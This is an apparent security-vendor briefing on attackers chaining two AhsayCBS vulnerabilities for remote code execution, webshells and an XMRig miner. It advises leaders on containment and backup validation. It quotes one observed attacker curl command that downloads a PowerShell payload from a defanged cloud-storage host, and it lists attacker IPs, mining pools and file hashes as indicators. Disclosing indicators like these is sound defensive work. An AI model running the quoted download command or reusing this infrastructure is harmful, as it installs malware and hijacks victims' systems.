What happened
On October 4, 2026, NVD entries were published for CVE-2026-105133 and CVE-2026-105134 affecting AhsayCBS. CVE-2026-105133 affects checkSysPwd in com/ahsay/obs/api/ApiStructsAction.java, and CVE-2026-105134 affects /rps/api/json/UpdateReceivers.do in the Replication Receiver component. Starting at 2026-10-07 23:20:15 UTC, Huntress observed attackers chaining the flaws to obtain unauthenticated remote code execution and deploy JSP webshells. As of October 8, 2026, Huntress had seen five organisations targeted and determined that AhsayCBS 10.3.4, then the latest release, was also affected. Huntress determined that AhsayCBS versions through 10.3.4 were affected. On Friday, October 9, 2026, public reporting surfaced the operational consequence: the purportedly fixed current release could not be treated as a safe endpoint.
Huntress observed cbssvcX64.exe spawning commands that downloaded Taskgmr.ps1, msedge.exe, edge.exe, config.json and WinRing0x64.sys from imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com; edge.exe was XMRig, while msedge.exe was a modified NSSM utility persisted through MicrosoftEdgeUpdateSvc. The miner connected to xmr.kryptex[.]network and 51.195.127[.]124 on port 8029; published SHA-256 values were 05f69ae6b2b89c1c4dcf836bff032232f11bf0109f2b498e2345045d06139034 for msedge.exe, 4dcb0202fe8b2d4d7b183764e38184cd6ed50132786cc7e7d1f7f4bce1dd6f3d for edge.exe and 481728a7c9c4c02be07051d9c1958d902ea6397ebb8952ab83944818e3d25d21 for Taskgmr.ps1. One observed command was curl -sk -o “C:\Users\ADMINI~1\AppData\Local\Temp\Taskgmr.ps1” “http://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/Taskgmr.ps1” –max-time 60. Published network infrastructure included 177.4.12[.]11, 38.60.252[.]110, 107.191.47[.]199, 185.220.236[.]49, 104.234.26[.]10 and 123.202.208[.]37. The cited sources did not identify a vendor-fixed AhsayCBS version after Huntress determined 10.3.4 was affected. Attribution posture: Huntress did not name or attribute the threat actor conducting the observed exploitation. The cited source did not publish the precise affected-version detail described as Verified vendor-fixed release.
Why this matters now
AhsayCBS is a central backup-management system used by managed service providers and integrators. SYSTEM-level execution and a persistent webshell on that control point can undermine the environment intended to support recovery. The observed payload was a cryptocurrency miner, but defenders cannot infer that mining was the only action taken or that every accessed host received identical tooling. The decision must therefore protect backup integrity, stored credentials and restoration confidence, not merely remove XMRig.
The operational urgency comes from the lack of a verified safe release in the cited evidence. Huntress reported that 10.3.4 was still vulnerable after earlier information suggested it was not. That invalidates an ordinary upgrade-and-close workflow. Organisations need compensating access restrictions, indicator hunting and independent validation of backup media while waiting for a vendor-fixed version.
The decision for security leaders
Assign joint ownership to backup engineering and incident response. The service cannot be treated solely as another vulnerable server because its integrity affects recovery decisions across the systems it protects.
Require MSPs and integrators to provide customer-specific evidence covering AhsayCBS version, management-interface exposure, indicator results, administrative activity and the integrity of stored backup sets. A generic statement that monitoring found no issue is insufficient.
Separate containment from restoration confidence. Even after the management host is rebuilt, backup catalogues, stored credentials and restore points need validation through a path that does not depend on evidence generated by the compromised host.
Evidence of closure
- An approved inventory identifies every AhsayCBS server, operator and management exposure.
- Network controls prove the management interface is restricted to approved paths.
- EDR and log searches return documented dispositions for every published indicator.
- Independent restore testing validates clean data from a trusted recovery source.
The Security.io assessment
Observed post-exploitation proves remote execution, persistence and resource hijacking, but the cited evidence does not establish ransomware, backup deletion or data exfiltration. Those outcomes remain unconfirmed rather than absent, because webshell access may support actions beyond the payloads recovered by Huntress.
The affected-version reversal is the most important leadership signal. It demonstrates why vendor or database status alone cannot close a vulnerability when operational telemetry contradicts it. Compensating controls are therefore mandatory until a verified fixed release is available.
Organisations that cannot establish backup independence should treat the issue as a resilience exception. Recovery systems have value only when their control plane, credentials and retained data can be trusted during a separate incident.
Questions for the morning meeting
- Which internal teams, MSPs or integrators operate AhsayCBS for the organisation?
- Can backup integrity be proved independently of the potentially compromised AhsayCBS host?
- What trusted recovery source is available if a backup server requires complete re-imaging?